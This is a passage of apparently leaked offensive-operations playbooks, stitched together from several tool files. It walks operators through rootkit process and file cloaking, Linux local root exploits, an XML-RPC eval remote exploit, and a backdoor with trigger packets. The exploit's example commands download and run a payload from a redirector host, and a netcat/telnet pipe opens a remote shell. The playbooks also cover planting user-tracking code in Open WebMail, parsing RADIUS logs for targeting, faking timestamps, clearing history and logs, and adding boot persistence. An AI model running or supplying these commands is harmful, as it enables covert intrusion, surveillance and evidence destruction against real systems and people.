+##### IF NO PROBLEMS ENCOUNTERED, INSTALLATION COMPLETE ##### +####################################################################### + + + +####################################################################### +##### Ctrl Usage and Troubleshooting Instructions ##### +####################################################################### + +### Should have at least two Nopen windows: one to become privileged, +### other to stay unprivileged, for comparing outputs of commands + +## get the PID of the Nopen window that will become privileged +-pid + +## set Nopen PID in the rest of the script +mx +:%s/PRIVILEGED_NOPEN_PID/PRIVILEGED_NOPEN_PID/g +`x + +######################################################## +## Ctrl Usage Options: +# -C [pid | /file/path] Cloak the given process or file path +# -c [pid | /file/path] Uncloak the given process or file path +# -d Display default cloaked directory +# -E pid Enable the given process's ability to see otherwise +# cloaked processes and files. +# -e pid Disable the given process's ability to see +# otherwise cloaked processes and files. +# -F pid Enable the given process's ability to see otherwise +# cloaked files ONLY. +# -f pid Disable the given process's ability to see +# otherwise cloaked files ONLY. +# -P pid Enable the given process's ability to see otherwise cloaked +# processes ONLY. +# -p pid Disable the given process's ability to see otherwise cloaked +# processes ONLY. +# -K pid Designate a process as to be killed upon shutdown +# -k pid Designate a process as to NOT be killed upon shutdown +# -r /bin/sh Execute the given program as the root user +# -T signal Send the specified signal to all killable cloaked processes. +# -U Invoke a full uninstall (self destruct) +# -u Invoke a partial uninstall (unpatch and unload) +# -s path Set the times associated with a given file path +# -g path Get the times associated with a given file path +######################################################## + +## upload SS Control Utility using nopen +-put /current/up/Ctrl c +## or ftshell +~~p /current/up/Ctrl c + +### If Nopen already a privileged process (i.e. started by a child of DD, +### etc.), do not need to set SEED variable to use Ctrl, otherwise SEED +### must be set + +## SEED calculation algorithm. WARNING do this off target!!! + seedcalc TARGET_HOSTNAME +## if you don't have 'seedcalc' + echo -n TARGET_HOSTNAME | rev | tr -d '\n' | md5sum | cut -f1 -d' ' +## if you don't have 'rev' + echo -n TARGET_HOSTNAME | sed '/\n/!G;s/\(.\)\(.*\n\)/&\2\1/;//D;s/.//' | tr -d '\n' | md5sum | cut -f1 -d' ' + +## set value of SEED in the rest of the script +mx +:%s/CALCULATED_SEED/CALCULATED_SEED/g +`x + +## REMINDER: DO NOT USE THIS OUTPUT EXPLICITLY IN AN UNPRIVILEGED PROCESS WHEN +## ACCESSING FILESYSTEM, SEE WARNING AT THE TOP OF THE SCRIPT + +## WARNING: WHEN CLOAKING PROCESSES, MUST MAKE SURE THAT NO CLOAKED PROCESS IS +## IS THE PARENT OF AN UNCLOAKED PROCESS. IF NECESSARY TO HAVE A +## PROCESS UNCLOAKED, MUST UNCLOAK PARENTS ALL THE WAY TO INIT (i.e. if +## need an uncloaked Nopen, Nopen listener must be uncloaked as well) + +## Use Ctrl to determine the name of the Cloaked directory +SEED=CALCULATED_SEED PATH=. c -d + +## Use Ctrl to enable Nopen to see cloaked processes, connections and files. +SEED=CALCULATED_SEED PATH=. c -E PRIVILEGED_NOPEN_PID + +## Use Ctrl to cloak the Nopen process, connections. +SEED=CALCULATED_SEED PATH=. c -C PRIVILEGED_NOPEN_PID + +## Optional - Designate Nopen to NOT be killed should the implant be +## shutdown (self-destruct). You won't get any notification that this happened. +SEED=CALCULATED_SEED PATH=. c -k PRIVILEGED_NOPEN_PID + +## Or, can do the above three actions in one command line +SEED=CALCULATED_SEED PATH=. c -C PRIVILEGED_NOPEN_PID -E PRIVILEGED_NOPEN_PID -k PRIVILEGED_NOPEN_PID + +## can replace PRIVILEGED_NOPEN_PID with the PID of any process you'd like to hide + +## Find your nopen connections -- consider narrowing the search as you probably also +## already know your connection ip and port +netstat -an | grep REDIRECTOR_IP + +## set Nopen Port in the rest of the script +mx +:%s/NOPEN_PORT/NOPEN_PORT/g +`x + +## Find nopen using the privileged process. Verifies you can find Nopen in +## ps and netstat listings when privileged +ps -ef | grep PRIVILEGED_NOPEN_PID +netstat -an |grep NOPEN_PORT + +## in an unprivileged window, these should unsuccessful if Nopen was cloaked +## in an earlier Ctrl command +ps -ef | grep PRIVILEGED_NOPEN_PID +netstat -an | grep NOPEN_PORT + +## You should now be able to see the cloaked directory +## The cloaked directory MAY be in one of the following. Refer to what +## the `pwd` from Dewdrop returned +-lt /var/tmp +-lt /lib +-lt /dev +-lt /etc +-lt / + +### APPENDIX +## DATE Errors +## +## 1 LOADER_ERROR_UNKNOWN +## The requested action failed for an unknown reason. +## 2 LOADER_ERROR_MEMORY +## There was a problem allocating memory. +## 3 LOADER_ERROR_READ_FILE +## There was a problem reading file data. +## 4 LOADER_ERROR_EXTRACT_PAYLOAD +## Could not extract payload data. +## 5 LOADER_ERROR_INVALID_PAYLOAD +## Payload data is invalid. +## 6 LOADER_ERROR_MERGE_ARCHIVE +## Could not merge old archive with new during an upgrade. +## 7 LOADER_ERROR_GENERATE_PAYLOAD +## Could not generate new payload data during an upgrade. +## 8 LOADER_ERROR_BUFFER_TOO_SMALL +## The given buffer is too small to hold the requested data. +## 9 LOADER_ERROR_LIST_BUFFER_TOO_SMALL +## The given array is too small to hold all the requested data elements. +## 10 LOADER_ERROR_SYSINFO +## Could not determine the host system information. +## 11 LOADER_ERROR_ENUMERATE_PLATFORM_TAGS +## Could not enumerate platform types. +## 12 LOADER_ERROR_ENUMERATE_OBJECTS +## Could not enumerate objects associated with a tag. +## 13 LOADER_ERROR_READ_OBJECT +## Could not read object data or meta-data. +## 14 LOADER_ERROR_WRITE_OBJECT +## Could not write object data or meta-data. +## 15 LOADER_ERROR_LOAD_USER_MODULE_OBJECT +## Could not load a user module data object. +## 16 LOADER_ERROR_EXECUTE_OBJECT +## Could not execute an executable data object. +## 17 LOADER_ERROR_KERNEL_SHUTDOWN +## Could not unload existing kernel modules. +## 18 LOADER_ERROR_KERNEL_PLATFORM +## Payload does not contain any kernel modules for this platform. +## 19 LOADER_ERROR_KERNEL_INJECT +## Could not inject modules into the running kernel. +## 20 LOADER_ERROR_KERNEL_INVOKE +## Could not invoke a required kernel service. +## 21 LOADER_ERROR_PERSIST_ENABLE +## Could not enable persistence. +## 22 LOADER_ERROR_PERSIST_READ +## Could not read persistant executable. +## 23 LOADER_ERROR_HOSTID +## Hostid of system did not match the one stored in the archive. +## 24 LOADER_ERROR_EXECL +## Error calling execl(3) when invoking the 64-bit version of the Loader. +## 25 LOADER_ERROR_FORK +## Error calling fork(2) when invoking the 64-bit version of the Loader. +## 26 LOADER_ERROR_WAITPID +## Error calling waitpid(2) when invoking the 64-bit version of the Loader. +## 27 LOADER_ERROR_SIGACTION +## Error calling sigaction(2) when setting the Loader process signal handlers. +## 28 LOADER_ERROR_SIGADDSET +## Error calling sigaddset(2) when setting the Loader process signal handlers. +################################################################################### +### +### END File user.tool.stoicsurgeon.COMMON +### (see also ../etc/user.tool.stoicsurgeon.COMMON) + +### +### BEGIN File user.tool.dittlelight_hidelite.COMMON (see also ../etc/user.tool.dittlelight_hidelite.COMMON) +### + +############################################################ +# DITTLELIGHT (HIDELIGHT) +############################################################ + +### To run the unix oracle db scripts, you must do them outside of an INCISION process +### therefore, you can use DITTLELIGHT (HIDELITE) to unhide your nopen window +### You must run HIDELIGHT on a process with a parent PID of "1" so +### do a callback to your redirector and run hidelite on the callback window + +### Hidelite +### Create a callback window + +# On redirector: +-nrtun NOPEN_PORT + +# On target: +-call REDIR_IP NOPEN_PORT + +### upload the correct version of hidelite for sparc or linux in a temp directory: +mkdir /tmp/.scsi +-cd /tmp/.scsi +-put /current/bin/hidelite.sparc crond + # or +-put /current/bin/hidelite.linux crond + + +### Obtain the PIDs of your nopen windows. +### The callback window will have a parent pid of (1): +### Run -pid in each nopen window: +-pid + +### In a nopen window OTHER than the callback window you are about to unhide, +### run hidelite to unhide the callback window: +./crond -u -p NOPEN_CALLBACK_WINDOW_PID + +### Remove hidelite from the target: +-rm crond + +### In the CALLBACK window, verify that this window has now lost its INCISION privileges +### and can no longer see the other nopen PIDS + +ps -ef | grep NOPEN_PID + +### In any window, you can run =psdiff to verify that either the callback window is +### unhidden or that the other (INCISION privileged) nopen windows are invisible +### to the callback window. +=psdiff + +### You can now run the oracle queries in the UNHIDDEN CALLBACK window. +### When done, simply -exit the unhidden callback window. + +### If for some reason you need to rehide a process, upload HIDELITE +### and run the following from a HIDDEN (privileged) window: + +### To hide again +./crond -h -p NOPENPID +-rm crond + + +### If you were running oracle commands, you can now clean them up: +### Cleanup the logs created from the oracle scripts: +### ex: +# -ls -t /opt/mnt/oracle/product/9.2.0/rdbms/audit +# -rm +# -touch /opt/mnt/oracle/product/9.2.0/rdbms/audit/ora_1473.aud /opt/mnt/oracle/ product/9.2.0/rdbms/audit + +### Remove your working directory and -burn nopen when done with op +-cd /tmp +-rm .scsi +-lt /tmp +-burnBURN + + + +### +### END File user.tool.dittlelight_hidelite.COMMON +### (see also ../etc/user.tool.dittlelight_hidelite.COMMON) + +### +### BEGIN File user.tool.draftbagger.COMMON (see also ../etc/user.tool.draftbagger.COMMON) +### + +##### DRAFTBAGGER ##### + +### Assumes have already talked to SNAT via SnatLp + +### Search/replace commands +:%s/ROUTER_IP/ROUTER_IP/g +:%s/PROXY_IP/PROXY_IP/g +:%s/RADIUS_IP/RADIUS_IP/g +:%s/RANDOM_HIGH/RANDOM_HIGH/g + + +### These aren't really means to be used as search/replace in this script, more +### placeholders for the example commands, but here are the commands anyway, +### commented out so you really shouldn't run them +#:%s/LOCAL_TUNNEL_COMMANDS_PORT/LOCAL_TUNNEL_COMMANDS_PORT/g +#:%s/NOPEN_PID/NOPEN_PID/g +#:%s/PARTIAL_MATCH_TARGS/PARTIAL_MATCH_TARGS/g +#:%s/EXACT_MATCH_TARGS/EXACT_MATCH_TARGS/g + + +### get the date of the current radius log on the radius server +-lt /var/log/radius/ # (find the most current, should be last file in list) +-lt /var/log/radius/ # (file needed is the acct.log file) + + +### run the following from radius server +-gs parse_rads -h # (for -gs parse_rads usage syntax) + +-gs parse_rads ROUTER_IP RANDOM_HIGH /var/log/radius/CURRENT_DATE/acct.log + + +### Will check to make sure the log file exists, check to makes sure the +### "-tunnel LOCAL_TUNNEL_COMMANDS_PORT udp" command was run, and then +### starts a "tail -f" on the logfile to constantly bring the file home, +### this gives you two pastables: a "-tunnel PORT udp" command to run on the +### radius server, and a "parse_rads.pl" one to run in a locally scripted window + + +### run the "-tunnel" (use the one spit out, the one below is an example) on +### the box that will be talking to SNAT +-tunnel LOCAL_TUNNEL_COMMANDS_PORT udp + + +### IN A LOCALLY SCRIPTED WINDOW (pastable given by -gs parse_rads command) +parse_rads.pl -h # for help with pastable options (run locally) + + +### Below is an example command, will need to use the pastable spit out by +### "-gs parse_rads" for the current session, but some things will need to +### be added to the command spit out, i.e. -p/-P args (phone numbers), the +### -R arg (treat already downloaded data as real-time, i.e. set up initial +### rules based on it), the IP address of the proxy, and any other stuff to +### play with +### +### -N -a -i are filled in by -gs parserads. Others need to be added manually + +PORT=LOCAL_TUNNEL_COMMANDS_PORT parse_rads.pl -NRADIUS_IP:NOPEN_PID -a127.0.0.1:RANDOM_HIGH -i/current/down/HOSTNAME.RADIUS_IP/var/log/radius/CURRENT_DATE/acct.log -p PARTIAL_MATCH_TARGS -P EXACT_MATCH_TARGS -R PROXY_IP + +### Will ask for pager numbers, and ask for confirmation that a sufficiently +### up-to-date version of SNAT is being used, go ahead and confirm these + +### Should be able to get other instructions for DRAFTBAGGER UI + + +### when Op is complete, in the DB command window, run the following to close out +### NOTE: ANSWER "no" TO THE PROMPT ASKING WHETHER TO KEEP THE SNAT +### FILTERS ACTIVE +diediedie + +### Ctrl-C your "tail -f" command on RADIUS server, or kill the appropriate pid + +### In a local window, you can use the scripts "closetunnel" and "dotunnel" to +### interact with a -tunnel listening on a port for commands rather than stdin +### (i.e. "-tunnel LOCAL_TUNNEL_COMMANDS_PORT udp") +### "dotunnel" will send all command line args to that port for -tunnel to get +### "closetunnel" has hard-coded "c 1 2 3 4 5 6 7", and then "q"...this will +### get the Nopen prompt back + +# Examples: +dotunnel s +dotunnel l 1390 1.2.3.4 139 +closetunnel + +### CLOSE OUT THE REST OF THE OP AS YOU WOULD NORMALLY + + +### +### END File user.tool.draftbagger.COMMON +### (see also ../etc/user.tool.draftbagger.COMMON) + +### +### BEGIN File user.tool.elgingamble.COMMON (see also ../etc/user.tool.elgingamble.COMMON) +### + +####################################### +# ELGINGAMBLE +####################################### + +### local exploit for the following operating system versions: +### Linux 2.6.13 - 2.6.17.4 and certain distros that contain a backport of the +### vulnerable functionality + +### Local exploit for the public prctl core dump vulnerability in recent Linux kernels. +### It takes advantage of an input validation/logic error in the kernel to create +### a cron script that will spawn a root shell. + +### OPSEC: +### vulnerability: public +### exploit: public + + +### +### CHECK IF TARGET IS VULNERABLE +### + +### check OS (for Linux 2.6.13 - 2.6.17.4) +uname -a + +### make sure crond is running: +ps -ef | grep crond + +### check if you have READ permission on /etc/cron.d (WRITE is part of the vuln.): +-lt /etc/cron.d + +### make sure you have EXECUTE permission on crontab: +which crontab +-lt /usr/bin/crontab + +### check if there is a cron.allow or cron.deny that might hinder your success: +-lt /etc/cron* +-cat /etc/cron.allow +-cat /etc/cron.deny + + +### +### if the above checks pass, you can try running it: +### USAGE: + +# elgingamble: +# -h (optional) Prints a help message +# -d (optional) Used to specify the system cron directory (defaults /etc/cron.d) +# -p (optional) Used to specify the core file prefix (defaults cron.PID) +# -s (optional) Used to specify a shell besides /bin/sh +# -t (optional) Used to specify the exploit timeout (defaults 5 minutes) + +### upload to target: +-put /current/up/elgingamble eg + +### within nopen, run it from within -shell +-shell +./eg + +# You'll see the following messages, you must wait for the cronjob to run: + + # can't set core limit, trying indirect + # crontab installed + # must do crontab -r when finished + # waiting for re-exec, ETA 60-120s + +# after waiting for the cronjob, run the following and start a new noserver +# once you gain root access: + +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +id +PATH=. sendmail + + +### connect to privileged noserver: +-nstun TARGET_IP + + +### CLEANUP: +crontab -l +crontab -r +-lt /etc/cron.d +-rm /etc/cron.d/core.PID +-rm eg sendmail +-lt + + +### LOGS: +-lt /var/log/cron +-tail /var/log/cron + + + + +### +### TROUBLESHOOTING +### + +# Exploit fails with message "kernel not vulnerable". The kernel is not vulnerable +# to exploitation. +# Remedy:None + +# Exploit fails with message "failed: indirect". The exploit tried and failed to +# have cron call it indirectly to bypass resource limitations. This can occur if +# the crontab program is not installed, could not be found, or is restricted through +# the use of cron.allow and cron.deny. +# Remedy:Make sure crontab is installed on the system and useable by the system +# user you use to run the exploit. + +# Exploit fails with message "failed". The exploit was unable to elevate to root. +# This indicates that the cron command was never executed. One possible reason for +# failure is if the coredump created in the system cron directory is too small to +# contain a valid cron command. Other reasons could be that the cron directory +# is not accessible by non-priveleged users, or the cron daemon is not running on the system. +# Remedy:Make sure the cron daemon is running and the user running the exploit +# has read access to the system cron directory. Also check the core file limit. +# + +# Description: Any other failure message. Remedy: Make sure the default exploit parameters, +# such as cron directory and core file prefix, are valid for the target system. +# If not, rerun the exploit and specify the appropriate parameters on the command line. + +### +### END File user.tool.elgingamble.COMMON +### (see also ../etc/user.tool.elgingamble.COMMON) + +### +### BEGIN File user.tool.enoltog.COMMON (see also ../etc/user.tool.enoltog.COMMON) +### + +####################################### +# ENOLTOG +####################################### + +### Software modification to the Open WebMail software to target specific users of interest. +### Used to insert a FOXACID/HUFFMUSH tag. +### Version 1 will target the first five users to login into the system. +### Version 2 will target specific users. + +### NOTE: Due to the uniqueness of each target and the source code modification required, +### SUGGEST DEVELOPER BE PRESENT DURING INITIAL DEPLOYMENT TO TARGET!!!!!! +### + +### OPSEC: +# anyone viewing the source file will be able to see the added code. + + +### INITIAL INSTALLATION PROCEDURE: + +### access target +### pull original openwebmail file +locate openwebmail-main.pl + +-get /var/www/cgi-bin/openwebmail/openwebmail-main.pl + + + +### +### LOCALLY do the following: +### + +### make a backup copy +cd /current/up +cp /current/down/HOSTNAME//var/www/cgi-bin/openwebmail/openwebmail-main.pl /current/up/openwebmail-main.pl + + +### edit ##ONE## of the following files, depending on the deployment type: + + + ### For openwebmail-main-first-five-users.pl: + ############################################# + # change the "<5" to the correct number of users + # change the target tag in the gif line - should NOT reuse the same + # target tag on different projects!!!! + + + + ### For openwebmail-main-users-time.pl: + ############################################# + ### determine the md5sum on each user: + + echo -n USERNAME | md5sum + + ### use the md5sum as the tasking name in the lines that begin with "$md5 eq" + # change the target tag in the gif line - should NOT reuse the same + # target tag on different projects!!!! + + + +### next, edit the local copy of the original file, and insert the code from the above +### step in the correct places + +vi /current/up/m + + +### +### On target, upload the modified openwebmail: +### + +mkdir /tmp/.scsi +-cd /tmp/.scsi +-put openwebmail-main.pl m +-put openwebmail-test.pl o + + +### test that the version will first work: +./o +-ls +-strings rpm.db +-rm o rpm.db + +### get ready to overwrite: + +md5sum /var/www/cgi-bin/openwebmail/openwebmail-main.pl +diff /var/www/cgi-bin/openwebmail/openwebmail-main.pl m +-ls /var/www/cgi-bin/openwebmail +-ls +cat m > /var/www/cgi-bin/openwebmail/openwebmail-main.pl + + +### fix timestamps + +-touch /var/www/cgi-bin/openwebmail/openwebmail-folder.pl /var/www/cgi-bin/openwebmail/openwebmail-main.pl +-ls /var/www/cgi-bin/openwebmail + + + +### +### LOGGING: +### +locate access +-ls /var/log/httpd +-tail /var/log/httpd/access_log +tail -300 /var/log/httpd/access_log|grep openwebmail-main.pl + + +### +### CLEANUP DIRECTORY: +### +-rm m +-cd .. +-rm .scsi +-ls -t + + + + + + + +### TROUBLESHOOTING: + +# Determine the MD5 digest of the user +echo -n | md5sum + +# Determine if showthread.php is executable + +-ls /var/www/cgi-bin/openwebmail/openwebmail-main.php + +# upload and run test script openwebmail-test.pl + +-put /current/up/openwebmail-test.pl o +./o + +# should see +1 +2 +# clean up results + + +### +### END File user.tool.enoltog.COMMON +### (see also ../etc/user.tool.enoltog.COMMON) + +### +### BEGIN File user.tool.excelberwick.COMMON (see also ../etc/user.tool.excelberwick.COMMON) +### + +####################################### +# EXCELBERWICK +####################################### + +### remote exploit against xmlrpc.php on Unix platforms +### +### WILL REQUIRE LOCAL ELEVATION + +### sybil location: CGI-BIN + +### Exploits a vulnerability in the XML-RPC PHP script. The vulnerable +### file is used in a large number of web applications, such as Drupal, +### b2evolution, and TikiWiki. The vulnerability is the result of +### unsanitized data being passed directly to the eval() call +### in the parseRequest() function of the XML-RPC server + +### OPSEC: +### vulnerability: public +### exploit: public + +### Usage: +# ./xp_xmlrpc.pl + usage: ./xp_xmlrpc.pl -i -d -c + + -i + -d + -p + -o + -v + -a + 0: /xmlrpc.php + 1: /blog/xmlrpc.php + 2: /blog/xmlsrv/xmlrpc.php + 3: /blogs/xmlsrv/xmlrpc.php + 4: /drupal/xmlrpc.php + 5: /phpgroupware/xmlrpc.php + 6: /wordpress/xmlrpc.php + 7: /xmlrpc/xmlrpc.php + 8: /xmlsrv/xmlrpc.php + 9: /b2/xmlsrv/xmlrpc.php + 10: /b2evol/xmlsrv/xmlrpc.php + 11: /community/xmlrpc.php + 12: /blogs/xmlrpc.php + -c + + Examples: + 1) ./xp_xmlrpc.pl -i127.0.0.1 -d/drupal/xmlrpc.php -c"uname -a;ls -la;w" + 2) ./xp_xmlrpc.pl -i127.0.0.1 -d/drupal/xmlrpc.php -c"(mkdir /tmp/.scsi; cd /tmp/.scsi; /usr/bin/wget http://555.1.2.150:5555/sendmail -Osendmail;chmod +x sendmail;D=-c555.1.2.150:9999 PATH=. sendmail) 2>/dev/null" + + +### Check if PHP is there: + +# from redirector: +-scan http TARGET_IP + +# The response should include "PHP/" though the version doesn't necessarily matter +# Ex. response: Server: Apache/2.0.40 (Red Hat Linux) mod_perl/1.99_05-dev Perl/v5.8.0 mod_auth_pgsql/0.9.12 PHP/4.2.2 mod_python/3.0.0 Python/2.2.1 mod_ssl/2.0.40 OpenSSL/0.9.6b DAV/2 + + +mx +:%s/TARGET_IP/TARGET_IP/g +:%s/WEB_PORT/WEB_PORT/g +:%s/NETCAT_PORT/NETCAT_PORT/g +:%s/REDIR_IP/REDIR_IP/g +:%s/NOPEN_PORT/NOPEN_PORT/g +'x + + + +### Then check if vulnerable by running the "-a" option to exhaust all options +# WEB-PORT is usually '80' unless the target is using something else, or you +# choose to tunnel it differently + +# redirector: +-tunnel +l WEB_PORT TARGET_IP + +# local script window: +./xp_xmlrpc.pl -i127.0.0.1 -pWEB_PORT -a -c"w" + +### Look through the output; a successful hit will be followed by +### the results of the command issued by the "-c" option, in the suggested case, +### the results of "w' +### Each unsuccessful version will be followed by "404 not found" errors + +### If the previous command yielded a successful attempt, then run the exploit again +### but substitute the version that was successful instead of using "-a" + + +### Prepare the appropriate nopen version with an http header: +# Locally: +ls -l /current/up/noserver +file noserver +echo -e 'HTTP/1.0 200\n' > new +cat new ../up/morerats/noserver*-i586.pc.linux.gnu.redhat-5.0 > /current/up/sendmail + +nc -l -v -p NETCAT_PORT < sendmail + + +# on redirector: +-nrtun NOPEN_PORT + + +### Replace "VERSION" with the appropriate php script, then run exploit to upload and execute nopen: + + +./xp_xmlrpc.pl -i127.0.0.1 -pWEB_PORT -d"VERSION" -c"mkdir /tmp/.scsi; cd /tmp/.scsi; /usr/bin/wget http://REDIR_IP:NETCAT_PORT/sendmail -Osendmail;chmod +x sendmail;D=-cREDIR_IP:NOPEN_PORT PATH=. sendmail) 2>/dev/null" + + +### connect: + +-nstun TARGET_IP + +### +### TROUBLESHOOTING: +### + +# Try this to get interactive windows (you'll type in one, and get output in the other): + +mx +:%s/PORT1/PORT1/g +:%s/PORT2/PORT2/g +'x + +# Local scripted window #1: + +nc -l -vv -p PORT1 + + +# Local scripted window #2: + +nc -l -vv -p PORT2 + + +# Local scripted window #3: + +./xp_xmlrpc.pl -i127.0.0.1 -pWEB_PORT -d"VERSION" -c"sleep 100 | telnet REDIR_IP PORT1 | /bin/sh | telnet REDIR_IP PORT2" + + + + + +### +### CLEANUP: +### + +# Logging directory depends on type of web software running on target (check -find): +# Try /var/log/httpd: +# access_log +# referer_log +# error_log + + +### +### END File user.tool.excelberwick.COMMON +### (see also ../etc/user.tool.excelberwick.COMMON) + +### +### BEGIN File user.tool.dittoclass.COMMON (see also ../etc/user.tool.dittoclass.COMMON) +### + +##### DITTOCLASS ##### + +### Search/replace commands +### OLD PKG NAME: if DC prev installed, name of pkg, if not then leave alone +### OLD DITTOCLASS DIR: if DC prev installed, directory where it was installed +### NEW PKG NAME: name of new DC installation package +### NEW DITTOCLASS DIR: directory where DC will be installed + +:%s/OLD_PKG_NAME/OLD_PKG_NAME/g +:%s/OLD_DITTOCLASS_DIR/OLD_DITTOCLASS_DIR/g +:%s/NEW_PKG_NAME/NEW_PKG_NAME/g +:%s/NEW_DITTOCLASS_DIR/NEW_DITTOCLASS_DIR/g + + +### Check to see if DITTOCLASS already on target (if fails, not implanted). +### Make sure check for other implants too. +### NOTE: Must use "cat", "-cat" will not work +### Doing "cat /proc/OLD_PKG_NAME" will register you to see hidden resources +### If neither of the "cat" commands work and you think there is an old +### installation, the "ls" command below should still work, if not there is +### probably nothing there +cat /proc/listfiles +cat /proc/OLD_PKG_NAME +ls -la /OLD_DITTOCLASS_DIR/OLD_PKG_NAME + + +### If DITTOCLASS already there but needs to be upgraded, go ahead and +### uninstall it, if not skip to "Upload the DC package and run..." +-ls /OLD_DITTOCLASS_DIR/uninstall_OLD_PKG_NAME.sh + +# If it exists +/OLD_DITTOCLASS_DIR/uninstall_OLD_PKG_NAME.sh + + +### After uninstall, in a NOPEN window, grep for the old package name +### and kill any of the processes associated with it +netstat -anlp | grep OLD_PKG_NAME +ps -ef | grep OLD_PKG_NAME + +kill -9 OLD_PKG_NAME_PIDS + + +### Make sure old connections/processes gone +netstat -anlp | grep OLD_PKG_NAME +ps -ef | grep OLD_PKG_NAME + + +### Make sure unable to connect with hector if connected with hector before +# Use whatever command used to get on +cd /current/bin +hector .... # your previous hector command line + + +### Upload the DC package and run the install script +### Removes itself upon installation +-put /current/up/NEW_PKG_NAME.tar.gz m.tar.gz2 +tar zxvf m.tar.gz +-lt +./install.sh + + +### Assuming installation script did not return any errors... +### Check to see if DC is seemingly working by seeing if the files are +### in fact being hidden +-lt /NEW_DITTOCLASS_DIR/ # should NOT see NEW_PKG_NAME in this listing +-lt /NEW_DITTOCLASS_DIR/NEW_PKG_NAME # SHOULD see NEW_PKG_NAME in this listing + + +### A little bit more search/replace fun +### TARGET IP: duh +### TARGET TRIGGER PORT: duh +### HECTOR CALLBACK IP: the IP for target to callback to (probably the window +### with the -tunnel) +### HECTORi CALLBACK PORT: the port for target to callback to +### RAWSEND PORT: local port to redirect the trigger packet +### SPOOF SRC IP: source IP of trigger packet +### BACKDOOR KEY: key to verify whether to call back or not +### should be located in: +### /current/bin/varkeys/projectname/ip.host/dittoclass +:%s/TARGET_IP/TARGET_IP/g +:%s/TARGET_TRIGGER_PORT/TARGET_TRIGGER_PORT/g +:%s/HECTOR_CALLBACK_IP/HECTOR_CALLBACK_IP/g +:%s/HECTOR_CALLBACK_PORT/HECTOR_CALLBACK_PORT/g +:%s/RAWSEND_PORT/RAWSEND_PORT/g +:%s/SPOOF_SRC_IP/SPOOF_SRC_IP/g +:%s/BACKDOOR_KEY/BACKDOOR_KEY/g + + +### Setup tunnel on redirector to contact agamemnon with hector +-tunnel +u TARGET_TRIGGER_PORT TARGET_IP +r HECTOR_CALLBACK_PORT + +### Setup -rawsend for hector +-rawsend RAWSEND_PORT + +##### Connect to agamemnon from LOCAL WINDOW +cd /current/bin + +### For hector help in case need to play with the trigger line and the +### -tunnel stuff to get it right +./hector -v -h + +./hector --backdoor --target-ip TARGET_IP --dest-port TARGET_TRIGGER_PORT --spoof-srcip SPOOF_IP --listen-port HECTOR_CALLBACK_PORT --control-ip HECTOR_CALLBACK_IP --udp -Z 127.0.0.1:RAWSEND_PORT --backdoor-trigger BACKDOOR_KEY + +### Once connected to target thru hector +mkdir /tmp/.pci +cd /tmp/.pci + +!help! + +### To send a file via hector +### NOTE: Assume the working dir on target is "/tmp/.dir" +### Uploading the filename "crond" will be named "/tmp/.dir/crond" on target +### Uploading the filename "/etc/passwd" will be named "/tmp/.dir/_etc_passwd" +### on target + +### Upload and run a NOPEN listener +!sendfile! +cp /current/up/morerats/NOPEN_TO_UPLOAD /current/bin/crond +crond # what called noserver in /current/down/HOSTNAME.TARGET_IP +PATH=. D=-lRANDOM_PORT crond + +### From redirector: +-nstun TARGET_IP:RANDOM_PORT + +### Or callbacks (may need to use this for multiple windows instead of -call) +PATH=. D=-cHECTOR_CALLBACK_IP:RANDOM_PORT crond + +-nrtun RANDOM_PORT +-call HECTOR_CALLBACK_IP:RANDOM_PORT + + +### Register to be allowed to see hidden files/processes/conns +!register! +# Enter the new package name at prompt "Please enter the package name:" +NEW_PKG_NAME +# must see NEW_PKG_NAME> REGISTERED to know you are successful + + +### Hide processes and ports from hector window +# In each nopen window: +-pid + +ps -auxww | grep crond +netstat -an | grep HECTOR_CALLBACK_IP + +# Hide process in hector window (to unhide, run !unhideproc!) +!hideproc! +Please enter the Process ID you wish to unhide: PID_TO_HIDE + +# Confirm in unregistered nopen window that pid is hidden +ps -auxww | grep PID_TO_HIDE + +# Hide connection in hector window (to unhide, run !unhideconn!) +# NOTE: Always hide the end of the redirector, don't hide the target's +# Otherwise, legitimate connections might not show up +!hideconn! +Please enter the IP Address you wish to hide: HECTOR_CALLBACK_IP +Please enter the port you wish to hide: NOPEN_PORT + +# Confirm in unregistered nopen window that conn is hidden +netstat -an | grep NOPEN_PORT + +# make sure processes and connections are hidden +!listconns! +!listprocs! + +# to exit hector + + + +### Startup script +### Can modify startup script to add strifeworld or other progs that +### need to be started on boot +-lt /etc/rc#.d/S55NEW_PKG_NAME +-get /etc/rc#.d/S55NEW_PKG_NAME + +### After modified... +-put MODIFIED_SCRIPT s + +touch -r /etc/rc#.d/S55NEW_PKG_NAME t +cat s > /etc/rc#.d/S55NEW_PKG_NAME +touch -r t /etc/rc#.d/S55NEW_PKG_NAME + +-rm s t + +#################################################################### + +### +### END File user.tool.dittoclass.COMMON +### (see also ../etc/user.tool.dittoclass.COMMON) + +### +### BEGIN File user.tool.expitiatezeke.COMMON (see also ../etc/user.tool.expitiatezeke.COMMON) +### + +############################# +### EXPITIATEZEKE +############################# + +### local exploit against the Linux 2.6.5 - 2.6.6 Fedora Core 2 kernel. + +### EXPITIATEZEKE takes advantage of the chown vulnerability which allows +### you change the gid on any file on the system to the current users gid. + +### This exploit is packaged into a single executable that when run +### will create a temporary file (shell spawning program), change the +### group owner of the device file of the partition that the temp file +### resides on (i.e. If the temp file was /tmp/file12345678 and /tmp was +### mounted on /dev/hdb3 then the device file /dev/hdb3 would have its +### group ownership changed.) +### After this takes place a cache flushing procedure occurs syncing the +### running filesystem with the contents of the disk. +### Once this finishes and if successful, a root shell is returned to the operator. + +### OPSEC: vulnerability - public + +### NOTE: This will cause a temporary CPU spike during execution; care should be taken +### to determine the risk if there are active users on the target + + + + +### +### Get a "before" picture of the device where /tmp resides +### + +# find the device that is mounted on /tmp (ex.- /dev/hdb3) and make note; +# if /tmp does not have its own filesystem, use the device of "/" + +df -k + +# look at the perms of the DEVICE, then make note of the group id; typically should be "disk" +# ex: -ls /dev/hdb3 + +-ls + +# correlate the groupid to a digit by finding it in /etc/group, then save the numeric value +# ex: -grep disk /etc/group + +-grep /etc/group + + + + + +### +### upload and execute +### + +-put /current/up/exze exze + +# run the script (within nopen, use -shell) +-shell +./exze + +### A status code will show up while the program is running. +### The following value should indicate potential success: 0x000 +### The should be the same as you found out from the initial checks +### MAKE NOTE OF THE VALUE REPORTED BACK ON THIS INITIAL ATTEMPT IN CASE OF FAILURE!!! + +### Any value other than 0x000 is an error code (see other documentation) +### Wait about 5 minutes (for the cache flushing) and you should get a root prompt, then: + +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +id + +# start a 